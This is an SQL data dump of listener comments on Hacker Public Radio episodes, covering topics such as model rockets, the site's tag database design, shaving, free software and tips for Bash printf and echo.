(1919,2253,'2017-04-23 14:21:42','rtsn','Good show','Just wanted to say I really enjoyed this episode. Will try to make my own someday. Good episode and I hope to hear more from you in the future :)','2017-09-09 07:41:36'),
(1920,2253,'2017-07-11 18:56:20','admin','congrates','Nice episode, Biene.\r\nAnd congratulations to your first HPR ','2017-09-09 07:41:36'),
(1921,2254,'2017-04-01 01:08:47','Christopher M. Hobbs','','Excellent show (and detailed show notes)!  This was exactly what I needed.  My son has been asking me about model rockets for a long time and I wasn\'t sure where to start looking for information.\r\n\r\nUnfortunately there doesn\'t seem to be a club in my area but I may have some friends who would let me launch on their property.  It may be time to look for a kit!\r\n\r\nThanks for the show!\r\ncmh','2017-09-09 07:41:36'),
(1922,2254,'2017-04-19 17:39:16','Roan','ahh the memories','Hi, was thinking about your show last night, and the memories of building model rockets as a kid. \r\n\r\nThere was a hobby shop near my home, and at one point it had a row of model rockets, motors, starter kits etc. One of the most exciting times was building a two stage rocket that used either C or D motors. I remember the  thrill of watching the two stages go off and then chasing it across fields as the wind caught the parachute on its return to earth. \r\n\r\nThanks for a great episode.','2017-09-09 07:41:36'),
(1923,2254,'2017-04-23 16:32:43','nstr','!','Thanks for a wonderful show on a subject I had no idea could be so interesting. I hope to hear more on this. Keep it up!','2017-09-09 07:41:36'),
(1924,2255,'2017-03-01 18:08:56','Tony Hughes','hpr 2255','Hi Dave I enjoyed the show about the history and workings of hpr. I did a slot about HPR at Manchester Barcamp last year and during the talk likened HPR to a BarCamp of the airwaves as just like a BarCamp as long as it\'s legal and you make it clear if familly frendly or not, you can talk on any topic that you have a passion for and you want to share with the listeners. Maybe that could be a new tag line, HPR the BarCamp of the podcast World!!','2017-09-09 07:41:36'),
(1925,2255,'2017-03-06 15:08:31','Dave Morriss','Nice idea','Thanks Tony, and thanks for telling Manchester Barcamp about HPR :-)','2017-09-09 07:41:36'),
(1926,2255,'2017-03-25 07:50:37','knightwise','How about a dropbox folder.','One of the things you could do to make the recording process simpler is have something like a dropbox folder that people can send their shows to, straight from their phones when they are done. That way you have a one-button upload without having to develop an app right now.   The second thing I would find cool if is there was a Telegram or Voxer channel for HPR listeners / hosts. That way we could talk to each other and (in a pinch) these audio conversations could also be used as a show. ','2017-09-09 07:41:36'),
(1927,2255,'2017-03-26 06:16:17','M1rr0r5h4d35','Very interesting show.','I really enjoyed the history and statistics, it would be nice to have a page on HPR\'s site that lets you see a bunch of those stats as they change. I also think that a store would be great, depending on the types of gear sold. For example tshirts and hoodies are a must, but it would also be cool to see things like raspberry pi kits, and supplies for building some of the projects that are mentioned on HPR shows for those who are interested in experimenting or duplicating the work of others. Maybe something like Hak5 does with their shop? \r\n\r\nhttps://hakshop.com/\r\n\r\nIt\'s just an example, but that kind of stuff would be cool as well. I also think an app for IOS and Android really needs to happen. It would be great if it let you stream episodes as well as contribute them. Perhaps incorporate some of the data from the website into it as well, such as the calendar and show notes for the episodes. I don\'t know, just spitballing, but those are some of the things I would love to see happen. Thanks for the show!\r\n\r\n- M1rr0r5h4d35','2017-09-09 07:41:36'),
(1928,2255,'2017-03-29 16:10:59','droops','New Hosts','I do not listen to all of the episodes or keep up as much as I should but am very interested in the new hosts. \r\n\r\nWe should have a page (or a tag, or email) that just indicates when a brand new hosts released their first episode. This would enable me (and others) to keep track of when someone new posts and then I can send them encouragement/thank you/feedback. \r\n\r\nThank you for this episode, it was very cool hearing the stats (I remember that day we didn\'t have an episode). Very good ideas all around. ','2017-09-09 07:41:36'),
(1929,2255,'2017-03-30 21:53:20','Dave Morriss','Thanks for the comments','@knightwise: interesting ideas, thanks. How to control access to Dropbox though? Wouldn\'t it fill up with spam and other junk? \r\n\r\n@M1rr0r5h4d35: thanks. Some good thoughts to ponder there.\r\n\r\n@droops: yes, the new host alert idea is a good one - needs some thought.','2017-09-09 07:41:36'),
(1930,2255,'2017-04-03 22:31:13','dodddummy','This should be a sticky show','I\'m thinking this episode should be something like the sticky posts that forums keep at the top for reference.','2017-09-09 07:41:36'),
(1931,2258,'2017-03-29 12:21:39','Clinton Roy','','I had to do a bit of googling, but a Keilbasa is some sort of Polish sausage, which apparently can be of any sort of meat?\r\n\r\nFrom a non American perspective:\r\nAnd when you say jelly, I *think* I\'m meant to think of something similar to jam, except take all the fruit out.\r\n\r\n:)','2017-09-09 07:41:36'),
(1932,2258,'2017-03-30 21:23:23','Xoke','Little Smokies','A family recipe we use is the little smokies sausages (cocktail sausages for my English brethren), and a jar of grape jelly (grape jam) and a bottle of bbq sauce.\r\n\r\nSomething like this:\r\nhttps://allrecipes.com/recipe/213073/slow-cooker-cocktail-smokies/','2022-02-14 13:17:56'),
(1933,2259,'2017-03-30 19:39:43','droops','Minidisc','The more I hear about these things, the more I think I missed out. ','2017-09-09 07:41:36'),
(1934,2259,'2017-03-30 20:47:28','Dave Morriss','Interesting','That was a cool device you had, and some interesting stories.\r\n\r\nMy son owned a Sony Minidisk Walkman which still exists. I was prompted to look for it today, and having found it discovered it\'s still working. He doesn\'t want it, so I must see what it can be used for.','2017-09-09 07:41:36'),
(1935,2259,'2017-03-31 16:30:13','Jonathan Kulp','Minidisk Walkman','Thanks for the comments, guys. Sorry I\'ve been so silent with shows and comments lately, just really busy at work. \r\n\r\nI think the Sony Walkman minidisc had a much Slimmer profiled than my Sharp MD702, so it might work pretty well as an actual Walkman where you\'re carrying it with you while you walk around. You could also record a show on it. Have fun! :-) ','2017-09-09 07:41:36'),
(1936,2259,'2017-04-05 01:25:03','Quvmoh','minidisc','Jon great episode, perhaps we can get the powers to be link these as a series to entice others to produce more. As a failed  light wheel mechanic I love the truck episodes!!!','2017-09-09 07:41:36'),
(1937,2261,'2017-04-03 18:25:23','Jwp','One button submit','How do you upload the voice memo of an iPhone to HPR?  I am fan of one button upload','2017-09-09 07:41:36'),
(1938,2261,'2017-04-04 08:30:06','Dave Morriss','Radio, electromagnetic radiation and so forth','During the show, when we spoke of the Amateur Radio Round Table, I wanted to mention a podcast episode I heard recently. I forgot to do so.\r\n\r\nThe episode is from a podcast called \"Exposing PseudoAstronomy\" and it deals with the subject of \"Radiation\". To my mind the host did an excellent job of explaining this subject. The episode is at https://podcast.sjrdesign.net/shownotes_153.php and the podcast feed is https://podcast.sjrdesign.net/pseudoastropodcast.rss','2022-02-14 13:17:57'),
(1939,2261,'2017-04-04 10:27:12','Ken Fallon','One Button will not fix the steady supply problem','Hi JWP\r\n\r\nYes it would be nice if we could have a one button record function but it will only benefit the seasoned contributors like yourself. \r\n\r\nMost people struggle with having the perfect show and procrastinate about the umms and awwws. The last people to use a one button/dial in option are the exact people we are trying to target.\r\n\r\nThis will not fix the steady supply of shows issue.\r\n\r\nKen.','2017-09-09 07:41:36'),
(1940,2263,'2017-04-10 19:32:13','Beeza','Brilliant Show','I rarely listen to an HPR episode which I don\'t find interesting to some extent. However, this one excelled in that just about everything was new to me.\r\n\r\nThe perspective of a visually impaired person of how the world \"looks\" was both rare and fascinating.\r\n\r\nIt would do all of us good to be reminded that the world is not perceived by everyone the same way.\r\n\r\nI do hope that you produce some more shows soon.','2017-09-09 07:41:36'),
(1941,2263,'2017-05-20 14:26:38','rtsn','Great episode','Thanks for a really interesting and enjoyable episode. I think it\'s healthy and important to question and consider concepts we, to some extent, take for granted, like how visual perception shapes our world view. \r\n\r\nLooking forward to hearing more from you two.','2017-09-09 07:41:36'),
(1942,2264,'2017-04-06 01:09:57','Clinton Roy','Podnutz','Podnutz podcast referenced: https://podnutz.com/category/mrp-tech-podcast/','2022-02-14 13:17:57'),
(1943,2264,'2017-04-06 01:13:38','Clinton Roy','Great Idea','I should definitely do this my library :)','2017-09-09 07:41:36'),
(1944,2264,'2017-04-10 15:18:49','Windigo','Similar experience','While living on the North coast of California, the library was more than just a repository for paper books; it was essentially a community center.\r\n\r\nMy partner and I attended talks and classes, spent time in-between appointments reading and using their wi-fi, and borrowed plenty of movies and books from our branch.\r\n\r\nLibraries are a fantastic resource, and seem to be helping the least fortunate in our communities. :)','2017-09-09 07:41:36'),
(1945,2266,'2017-04-11 18:50:15','Les Orchard','','Man, I loved these books back in Jr. High in the 80s. I would usually read/play these in class after I got classwork done. I could sneakily drop a pencil on the random number table and not get in trouble like I did a few times for rolling dice. Because I was one of those kids who rolled dice in class :)','2017-09-09 07:41:36'),
(1946,2266,'2017-05-07 11:12:23','Shane Shennan','Intriguing! ','Thank you very the great show and the link to the free books.','2017-09-09 07:41:36'),
(1947,2267,'2017-05-20 14:28:34','rtsn','!','Good episode! Wonderful to see more art related episodes in HPR.','2017-09-09 07:41:36'),
(1948,2269,'2017-04-15 19:06:43','JWP','Great','Hi I really liked your talk about Plan 7.  The keyboard I love the loud clicks to.  And of course I also love Choc milk.  So 3 gold stars for you :) - @ Ken this is the Uber geek stuff that Rocks me to the Core.','2017-09-09 07:41:36'),
(1949,2269,'2017-04-24 00:17:30','doddummy','I liked the show but...','I enjoyed the show. But, I\'m curious if this counts as a syndicated show not created for HPR.\r\n\r\nI repeat. I liked the show.  In fact I\'ve added to my list.','2017-09-09 07:41:36'),
(1950,2269,'2017-04-24 14:51:33','Ken Fallon','It is a syndicated show','As per the summary \"A sample show of the nixers podcast.\"\r\n\r\nSubmitted under the guideline: \r\nhttps://hackerpublicradio.org/stuff_you_need_to_know.php#syndication\r\n\r\n\"We do not syndicate non HPR Shows.\r\n\r\nHPR is founded on the principle of Hackers sharing knowledge. For this reason we are only releasing material created exclusively for HPR. We will continue to promote new podcasts and other creative commons material, but if you wish to have your show aggregated, then please contact our sister site Hacker Media.\r\n\r\nThat said, if there is a piece of creative commons content that you would like to promote, then feel free to record a regular show. There you can introduce the content and explain why it is important, providing links to where we can get more information etc., and then include one example episode. \"\r\n\r\nI\'ve contacted stank to see if we can help out with Hacker Media as well, so that there is a place to put syndicated content.','2022-02-14 13:17:57'),
(1951,2269,'2017-05-06 19:53:54','dodddummy','Got it','Makes sense.','2017-09-09 07:41:36'),
(1952,2270,'2017-04-19 14:42:13','Steve','Make it so','As someone who is also not formally trained in database administration but nonetheless does quite a bit of database administration  and development, what you have said and the conclusions you have drawn sound exactly right to me. I say, make it so.','2017-09-09 07:41:36'),
(1953,2270,'2017-04-19 15:49:44','Dave Morriss','Thanks Steve','I appreciate the comment.\r\n\r\nI\'m currently looking into how we can incorporate such features into the database - and modify all of the code around it.','2017-09-09 07:41:36'),
(1954,2270,'2017-04-19 22:03:58','gws','series','A series is the same thing as a tag, if you need to distinguish them put another column on the Tag table. The join across Episode  Tag is the same.','2017-09-09 07:41:36'),
(1955,2270,'2017-04-19 22:28:40','Dave Morriss','Series same as Tag?','I think you have a point - except that the Series idea was originally designed to have two other significant attributes: a description and a public/private flag.\r\n\r\nThe description is an arbitrarily long text field, used to store HTML which is displayed in the web page for shows that are part of the series.\r\n\r\nThe public/private flag denotes whether the series is open to more contributors or not. Most modern series are public but some historical ones are private.\r\n\r\nChanging the Tag table to include these attributes, to be used for \"series\" tags, is not impossible of course. It needs some thought.\r\n\r\nThanks for the suggestion.','2017-09-09 07:41:36'),
(1956,2270,'2017-04-21 01:40:09','gws','tag vs. series','Variable-length columns like VARCHAR or CLOB should not balloon the size of your Tag table just by adding them; assuming even a moderately sane dbms those large and sparse objects would be stored in separate data structure (thing \'string pool\') so you pay for what you use.\r\n\r\nBTW my earlier comment was meant to say \"Episode (left arrow) EpTag (right arrow) Tag\" but I used angle brackets and the middle bit got swallowed by HTML.','2017-09-09 07:41:36'),
(1957,2270,'2017-04-23 22:37:23','Brenda J. Butler','','I\'m new to HPR, sorry if I make comments that show ignorance of how you do things.  Please point me to resources, I\'ll be happy to read up.\r\n\r\nI\'m not a big DB expert either, but like you have used some DBs and have a little experience.  Also a bit of experience making a couple of database-backed web sites.\r\n\r\nI like the idea of the third design of tags.\r\n\r\nI would also change the HPR episode intake process to make any new tags in the new format - have a cutover date/time after which all the new entries in the database use the new tagging scheme (populate the new tags tables and not the old tags fields.  In fact, even remove the old tags fields to avoid confusion about which set of tags is the \"right\" set).  That way you only have to do that \"populate the new tag fields from the old tag fields\" step once, at cutover time.  You could keep a copy of the old site (and update it) for a while until confident the new site works properly.\r\n\r\nI don\'t know how the HPR web site is served, I got the impression from your series that it is static pages generated from a DB.  Perhaps you generate a new set of pages when a new episode is added to the DB.  I think you cannot go this way if you want to use that query you developed, \"what other shows have at least one of the tags that this show has\".    Or at least, it will be difficult to implement.\r\n\r\nCan I read somewhere about the way the web site is served, the tech stack, etc?  Is there a public repo for the code (read-only acceptable)?\r\n\r\nThanks for all your great, extensive show notes!  Really appreciated.','2017-09-09 07:41:36'),
(1958,2270,'2017-04-24 22:00:52','Dave Morriss','Tags and Series','Thanks gws. It wasn\'t so much the storage issue I was referring to, more the logic of the suggested change. I do like what you\'re proposing though.\r\n\r\nSorry you got bitten by this crappy comment system.','2017-09-09 07:41:36'),
(1959,2270,'2017-04-24 22:22:00','Dave Morriss','Thanks Brenda','Thanks for your comments.\r\n\r\nThere is a GitLab instance with a repository which holds some of the public code:\r\nhttps://gitlab.anhonesthost.com/HPR/HPR_Public_Code\r\n\r\nYour suggestion for  the transition from the old to a new tag system is pretty much what I had in mind, but we haven\'t yet discussed all the issues amongst the Admins.\r\n\r\nThe site is not static, though there have been discussions about making it so. I take your point that there\'s a conflict between having a static site and offering tag query features though. ','2022-02-14 13:17:58'),
(1960,2271,'2017-04-23 00:00:40','droops','Very Cool','I am really excited to finally get my hands on one of these little ones. My kids and I have built several projects with my full sized ones and I want to teach a class next year using Raspi\'s.','2017-09-09 07:41:36'),
(1961,2271,'2017-05-09 11:24:27','Tony Hughes','Pi Zero W','Hi droops, you\'ll be lucky to be able to use the pi zeroW to teach a class as at the moment you can still only order them one at a time :-(','2017-09-09 07:41:36'),
(1962,2271,'2017-07-11 18:57:13','admin','thanks for info','interesting info','2017-09-09 07:41:36'),
(1963,2272,'2017-04-18 06:37:13','Steve','Been there','Entertaining episode. I have so been in situations similar to what you faced. Thanks for sharing.','2017-09-09 07:41:36'),
(1964,2272,'2017-05-13 17:56:13','Mirwi','Entertaining','I\'m sure you know, but you have such a great voice. You can read out the phone book to us and I will enjoy listening!\r\n\r\nThanks for the show.\r\n\r\nMichael','2017-09-09 07:41:36'),
(1965,2273,'2017-04-19 02:55:18','droops','Fountain Pens?','Awesome!','2017-09-09 07:41:36'),
(1966,2273,'2017-04-19 19:02:07','Dave Morriss','Great show. We need more on this subject','I enjoyed this show a lot. Thanks for talking about pens, ink and paper. I think we need more shows on these subjects. \r\n\r\nMaybe there are more enthusiasts in the HPR community who\'d like to contribute :-)','2017-09-09 07:41:36'),
(1967,2274,'2017-04-28 23:31:54','Windigo','Very interesting possibility','I didn\'t realize that installing any kind of Linux on a Surface was a possibility; a whole new category of hardware to re-purpose!\r\n\r\nThanks for another great episode. :)','2017-09-09 07:41:36'),
(1968,2277,'2017-04-25 16:34:12','Lowtek Morgellon ','Outernet User','Hi, enjoyed your episode. I have had an Outernet receiver up and running for a few months now. It\'s definitely a neat project. \r\nMy biggest issue is with the $9 CHiP.  It\'s always locking up or powering off. I\'m planning to switch back to the old OS and a rpi for stability. \r\nThe $9 CHiPs are now impossible to find, so the Outernet guys are working on their own dedicated hardware that includes the processor and sdr all on one board. It\'s currently code named Dreamcatcher. \r\nI\'ll try to sit down tonight when I get home and record a companion to your episode and give a full review of my experience with the Outernet. ','2017-09-09 07:41:36'),
(1969,2277,'2017-04-25 22:06:43','M1rr0r5h4d35','Sounds Awesome!','When I recorded this, I was hoping someone out there who had more experience with any of these could shed some more light on them for the rest of us. I have been considering getting one of the kits, but I have to much going on right now. Looking forward to your episode!','2017-09-09 07:41:36'),
(1970,2278,'2017-04-28 21:56:56','unverified','You Rock','I\'ve been meaning to comment somewhere on the site about how great a resource the site is but if were nothing but \"Dave Morris Reads The Manpages\" I\'d gladly listen.\r\nYour attention to detail and calm mannerism is very pleasant and that it happens you cover the good stuff any nix user needs to get a handle on is just perfect.\r\n\r\nWhen there is a lull I\'ll go through them all again.....and again.\r\n\r\nThanks for holding up far more than your end of the podcast.\r\n\r\nIll try to break past the public speaking phobias and help.\r\nAnd help with tags too.','2017-09-09 07:41:36'),
(1971,2278,'2017-04-29 11:16:32','Dave Morriss','Thanks','Well, that\'s a great comment! Thank you.\r\n\r\nMy principle is to find stuff I don\'t understand (or didn\'t in the past) and share what I have learnt to help anyone who wants to grasp whatever it is.\r\n\r\nI have just uploaded part 2 of this two-parter, so there\'s more to come :-)\r\n\r\nI hope you manage to make episodes of your own. For my first one I wrote notes for HPR, but also made myself a list of the points I wanted to cover, and rehearsed the episode before the final recording. Whatever gives you enough confidence to do it!','2017-09-09 07:41:36'),
(1972,2278,'2017-06-15 08:14:35','clacke','How people record','It would be interesting to have an overview of how various people choose to prepare and record their episodes, for newcomers to get some idea of what might suit them.\r\n\r\nThe way I have done it recently is to write the show notes and while I do so, basically play in my head what I will say about them, and then come up with side tracks I ought to provide references to, etc.\r\n\r\nI don\'t rehearse, and lately I haven\'t cut anything out either.\r\n\r\nEarlier, I\'ve cut my episodes a bit, because I had gone off track or there was too much ambient noise when I\'ve been out walking, but now I\'m aiming for as little threshold as possible before I publish. I had that one episode that I procrastinated for a year because I wanted to edit it down for length. Finally I just published it.\r\n\r\nWorse is better. For me, anyway.','2017-09-09 07:41:36'),
(1973,2278,'2017-06-15 08:24:45','clacke','On using echo','The tip about using echo is great, and I\'ve used it many times. Lately though, I\'ve started using printf because it can help me see some weird filenames, and also helps with long filenames.\r\n\r\nOne could use `ls` too, or rather `ls -d` to not expand any directories listed, and it might be the instinctive thing to do but in the case of a lot of files, actually just printing the parameters is faster, because regardless whether you just want to see the file names, `ls` also inspects each and every one of the files to figure out how to e.g. color it.\r\n\r\nNow, here\'s what I do with printf:\r\n\r\n# Show all the names with single quotes around them.\r\n\r\n$ printf \"\'%s\' \" /some/directory/and/wild*card; echo\r\n\r\n# Show all the names on separate lines.\r\n\r\n$ printf \"%s\\n\" /gnu/store/*-theprogram-2.0*\r\n\r\nThe latter one is what I literally do when looking for things in my Guix or Nix store, because those file names are all so long, and it\'s helpful to get one per line.\r\n','2017-09-09 07:41:36'),
(1974,2278,'2017-06-15 09:10:30','Dave Morriss','On recording','I also like to prepare notes first, and as soon as possible after they are done, record. That way the ideas are all fresh in my mind. I use the notes as a structure but mostly ad-lib the audio. Reading the notes is a big mistake as far as I am concerned. Since the first HPR show I did I do not rehearse.\r\n\r\nYears ago (late 1970\'s) I used to teach evening classes in an Adult Education centre (Pascal, BASIC). I evolved a similar style there, and constructed notes which became hand-outs for the students. Amusingly they were printed on a line-printer, and I\'d written my own text-processor to generate them (think early but less convenient Markdown).\r\n\r\nAs to audio editing, I do edit. I hesitate and \'um\' and \'er\' a lot and I deal with these by (light) silence truncation and removal of a proportion of \'um/er\' patterns. I can edit a lot faster now than when I started, but it\'s just a personal foible. Without editing I find my audio irritating to listen to and assume others will too!','2017-09-09 07:41:36'),
(1975,2278,'2017-06-15 10:03:32','Dave Morriss','Using echo, printf and ls','Hi clacke,\r\n\r\nYour comment made me think about the way I have been using echo in this series. I may have said this at some point, but maybe not: I was primarily using it to demonstrate how expansion was working. I don\'t use it in that way to view directory contents and so forth.\r\n\r\nExpansions like the ones here are used in many contexts, as you know. Back in my early days of using Unix (we had Sun, HP, DEC, Silicon Graphics and Apollo systems around at various times at the university I worked at), with a variety of shells. I think As an aside, I hated csh and tcsh the most!\r\n\r\nThere were time when I\'d type something like:\r\n\r\nrm *.msg\r\n\r\nand get back an error like \"too many files\". That was because the expansion of \'*.msg\' resulted in \'rm\' getting maybe thousands of file names, which it couldn\'t cope with. I got in the habit of doing stuff like:\r\n\r\necho *.msg | wc -w\r\n\r\nto warn me of such potential problems. Maybe even \'echo\' would fail sometimes with \"too many files\" (or similar), but I don\'t remember now. Maybe \'ls\' would have been a better choice back then. However, for this series I felt it \"got in the way\" a bit more, as it were :-)\r\n\r\nYour points about printf are well taken. I did mention it earlier in this series, and showed its use in various contexts. However, it probably deserves a show all of its own!\r\n\r\nYes, I had discovered:\r\n\r\n$ printf \"%s\\n\" *.msg\r\n\r\na while back and was surprised it printed out its arguments one per line. Some other \'printf\' implementations reject such things because there are more arguments than format specifiers. The Bash \'printf\' behaviour is better in my opinion.\r\n\r\nBetter stop - Ken will accuse me of wasting another show opportunity!','2017-09-09 07:41:36'),
(1976,2278,'2017-06-16 06:45:30','Ken Fallon','Comment limit','What a waste of shows !\r\n\r\nI think we should limit comments to - \"Please see my show ${new_show}\" :)','2017-09-09 07:41:36'),
(1977,2278,'2017-06-16 13:48:04','clacke','printf episode','printf added to https://social.heldscal.la/clacke/tag/hprep .','2017-09-09 07:41:36'),
(1978,2278,'2017-08-06 02:59:23','clacke','A new `ls` alternative','On the topic of `ls`, there\'s a new player and people say it\'s both faster (I\'m assuming it\'s stat\'ing less eagerly than coreutils ls does) and more featureful (more coloring, info on git things, some tree visualization). Haven\'t tried it myself yet.\r\n\r\nhttps://the.exa.website\r\n\r\nAlso it\'s written in Rust, but that\'s least interesting property of it.','2017-09-09 07:41:36'),
(1979,2278,'2017-08-06 19:55:42','Jonathan Kulp','Awkward!','That `exa` command does look pretty cool and powerful but it is WAY too awkward to type. i would have to make an alias for it, maybe even link `ls` to it.','2017-09-09 07:41:36'),
(1980,2278,'2017-08-06 20:33:16','Dave Morriss','Not sure about \'exa\'','Perhaps it\'s still too new, but \'exa\' doesn\'t seem quite the tool for me.\r\n\r\nFirstly I couldn\'t find out what the colours and underlines actually mean. Secondly I find that I need to change the screen background colour and font to be able to read the coloured text. Admittedly, this might be my eyes, but if a filename is basically a blur I don\'t get a lot from the feature! (I have similar problems with other commands that generate coloured output, so I don\'t blame \'exa\'.)\r\n\r\nPotentially the Git interface is useful, though I don\'t know what the symbols mean. The whole thing needs documentation - ideally in the form of a well-structured manpage. Also I was puzzled to find that:\r\n\r\nexa -l --git db_*\r\n\r\ndidn\'t show the Git details for the matching files. These are only shown when there\'s no file argument.\r\n\r\nMy final nit-pick is that my favourite \'ls -ltr\' can\'t be written so simply in \'exa\'. The equivalent seems to be:\r\n\r\nexa -ls modified\r\n\r\nI\'d like to see a way of setting defaults (like sort by modification time), through an environment variable or a configuration file. As Jon says, using aliases would also be a solution.\r\n\r\nI shall be intrigued to see how \'exa\' develops. It does have promise. Thanks for alerting me to it @clacke.','2017-09-09 07:41:36'),
(1981,2280,'2017-03-09 21:17:28','Tony Hughes','hpr 2280','Hi Just an update, I needed a replacement NON OEM battery for one of the X61s I have with a totally dead battery (that is something you have to factor in to buying stuff from auction) Cost me &pound;17 inc delivery on eBay and its a 77Wh one. This is currently showing 5hours remaining and I\'ve been using the laptop for about an 1 1/2 hours. So don\'t be afraid to pick up one with a duff battery if cheaper as a replacement is not expensive and with the SSD give a working days life to the PC. So even with New SSD and Battery the X61s only set me back &pound;93. If your lucky you may find one really cheap on eBay, Happy shopping!!! ','2017-09-09 07:41:36'),
(1982,2281,'2017-05-06 21:23:25','dodddummy','dodddummy','dodddummy is a play on the mainframe equivalent of /dev/null\r\n\r\nIn proper syntax of the DD, data description JCL statement.  Comes from my \'friends\' trying to describe my prowess.\r\n \r\n//DO DD DUMMY\r\n\r\nMost like pronounced \r\nD-O D-D DUMMY\r\n\r\nOr perhaps \r\nDO D-D DUMMY \r\n\r\nby people who work with JCL(Job Control Language).','2017-09-09 07:41:36'),
(1983,2281,'2017-05-16 11:55:57','Dave Morriss','Thanks for the explanation','Thanks, that helps to explain things.\r\n\r\nJust as an aside, in my day JCL was a more generic term used on many of the mainframes I used - ICL, CDC, Burroughs.\r\n\r\nAt the university I worked at we were wooed by IBM in the mid-1980s, who tried to sell us a machine to run VM/CMS I think. I forget what it was, but they failed. So I have no experience of IBM\'s JCL happily!\r\n','2019-10-13 05:28:41'),
(1984,2283,'2017-05-03 23:26:39','Quvmoh','Smooth show','Dave! Back from the dead Like hearing from a long lost friend.. Great show I use a little bottle of shave secret https://www.shavesecret.com/  just a couple drops rubbed in and you can do a full shave. Have a great week.','2022-02-14 13:17:58'),
(1985,2283,'2017-05-04 23:12:27','dodddummy','Dave! The whole time i was wondering','Glad to see you again, Dave. You made it just in time. I don\'t think I could have kept it between the ditches much longer.  \r\n\r\nThe whole time I was wondering, \"How did he get the rest of his family to switch?\"\r\n\r\nI haven\'t shaved in two years but Clarke Howard claims he reuses double blade razors for months without nicking himself.  \r\n\r\nhttps://clark.com/news/clark-howard/clarks-bargains/clark-reaches-12-month-mark-using-single-disposabl/ncxf/','2022-02-14 13:17:58'),
(1986,2283,'2017-05-08 19:12:04','Roan','Mechanical saftey razors','Great episode. Made the switch to a double blade safety razor myself about two years ago. Found a set in my local pharmacy for twenty US dollars. Came with the handle/razor holder and about twenty blades. Two months ago was the first time I had to purchase replacement blades. ','2017-09-09 07:41:36'),
(1987,2283,'2017-05-22 20:17:16','Frank','','Welcome back to the podosphere, Dave.','2017-09-09 07:41:36'),
(1988,2283,'2017-05-29 07:56:04','Jonas','Welcome back!','Great to hear you on the audio waves again Dave!\r\nWhile listening, I was wondering if you were going to say you got the rest of the family to switch. Sorry to hear, no such luck. At least you\'re saving a third or fourth of the previous total.\r\n\r\nPersonally I trim rather than shave, so haven\'t spend money on a razor in forever. \r\nI might start again after this show though. I like the idea of the soap stick. I have not heard of that before. Sounds like it\'s worth a shot. I remember my Grandfather had a double ended safety razor. I\'m not sure what happened to it. I\'m sure his son picked it up after he passed away. \r\n\r\nSaving money on everyday things goes a long way on the yearly totals. Great show. Good to hear you back again. I\'m looking forward to hearing more, techie nor not. \r\n','2017-09-09 07:41:36'),
(1989,2283,'2017-06-03 17:57:26','jwp','Hi Dave','Dave good to here you again on the air waves great content','2017-09-09 07:41:36'),
(1990,2284,'2017-05-05 06:50:26','Krayon','Good job!','Good job mirwi, if only all hardware was so easy to get into and repair :/','2017-09-09 07:41:36'),
(1991,2284,'2017-05-05 19:50:42','Jonathan Kulp','well done','I loved hearing this! I really like the real-time fixing a broken object part of it, but I would also like to hear more explanation of some of the stuff you were talking about with respect to measurements using the multimeter and analysis using the oscilloscope. Great show!','2017-09-09 07:41:36'),
(1992,2284,'2017-06-03 17:58:18','jwp','great show','wow hard ware really can last forever','2017-09-09 07:41:36'),
(1993,2286,'2017-05-09 00:39:43','Clinton Roy','Fatigue','Thank you for this Tony.\r\n\r\nForgive me if I missed it, but do you expect to eventually get over the post stroke fatigue?','2017-09-09 07:41:36'),
(1994,2286,'2017-05-09 11:16:13','Tony Hughes','Fatigue','Hi Clinton, yes the fatigue does gradually go away. It\'s different for everyone, with me it\'s mainly gone now but if I over do it a couple of days in a row I do feel it. I was warned it could last for up to 12 months, but thankfully that has largely not been the case and I\'m fitter now than I was before the stroke, having lost 22lb and started regular exercise by walking. ','2017-09-09 07:41:36'),
(1995,2286,'2017-05-29 08:02:28','Jonas','Great Info. ','I appreciate you sharing your story. More people need to talk about the human side of hackers. I\'ll put you in the same group as sigflup regarding personal stories. This is really appreciated.\r\n\r\nThe more we talk about strokes, brain injury, schizophrenia, depression, and many others, I think the better we all will be. I think it\'s important to know we are not alone when we have difficulties along the way. Thanks again. ','2017-09-09 07:41:36'),
(1996,2287,'2017-05-10 12:38:02','Brenda J. Butler','','I was glad to hear your podcast about being a more conscientious free software user.  I was very impressed to hear you started out alone, without peers to talk to and help.\r\n\r\nHave you heard of vrms?  It\'s a debian package (maybe available on other platforms) - \"virtual RMS\" - it checks what you have installed on your machine and sends you a monthly email with a list of non-free software.  So it could help with your goal of moving more towards the free software ideal.\r\n\r\nI\'m not all they way there myself, but I\'m always trying to be more free.\r\n\r\nRe: the tracking/EULA/DMA stuff, for your Android software you can use the fdroid repo instead of google play.  It is all open source packages, and the installer will let you see the required permissions before you install.  So even though it is all \"open source\" it is not all desirable and you do want to check the required permissions before you install.\r\n\r\nI find I am limited in what I can install on my phone, but like you, I have a bit of patience.','2017-09-09 07:41:36'),
(1997,2287,'2017-05-14 18:08:15','dodddummy','Thatnks for the tip','It was rough going for me in the early years without forums and chat rooms but the hardest part was me being an idiot.\r\n\r\nI hadn\'t heard of virtural rms.  Will give it a go.  I\'m just now installing some FSF approved distros.  I think I\'ll give each a week and chose one.','2017-09-09 07:41:36'),
(1998,2287,'2017-06-15 14:57:26','rtsn','','Good episode! I\'m looking forward to hearing more from you on this interesting project. \r\n','2017-09-09 07:41:36'),
(1999,2288,'2017-05-11 15:57:28','droops','Great episode','Very technical and cool, please keep them coming!','2017-09-09 07:41:36'),
(2000,2288,'2017-05-16 18:19:14','BiasOpinion','More Python Help Please','Long time programmer, trying to learn Python on my spare time. \r\n Very helpful.  Just what I needed!\r\n\r\nLike that you convey the information without an ego getting in the way!','2017-09-09 07:41:36'),
(2001,2288,'2017-05-31 19:42:56','Windigo','Excellent advice','Virtualenv was something I didn\'t get into until later into my learning, and it made things much nicer to work with. Thanks for bringing attention to it!\r\n\r\nDon\'t tell Ken or Dave, but I\'ll look into doing some Django shows.','2017-09-09 07:41:36'),
(2002,2289,'2017-05-11 00:35:33','Jo','Hacker','Just of calling out that some email clients allow you to block HTML emails to go out and fetch resources like images unless you explicitly allow downloads from that specific email address or domain.\r\nIt\'s a great security feature.\r\nPeople who use it will be able to read your email without you knowing unless they mark you as trusted and allow the client to download resources.','2017-09-09 07:41:36'),
(2003,2290,'2017-05-29 14:40:14','jwp','True Love','Its pure love.  \r\nYou have no minions for that process?  \r\nAnd his subjects gathered around him like the leafs on a tree?\r\n:)\r\n','2017-09-09 07:41:36'),
(2004,2291,'2017-06-05 03:22:49','Hannah, of Terra, of Sol','A repo, maybe?','https://github.com/AFineDayFor/celes','2017-09-09 07:41:36'),
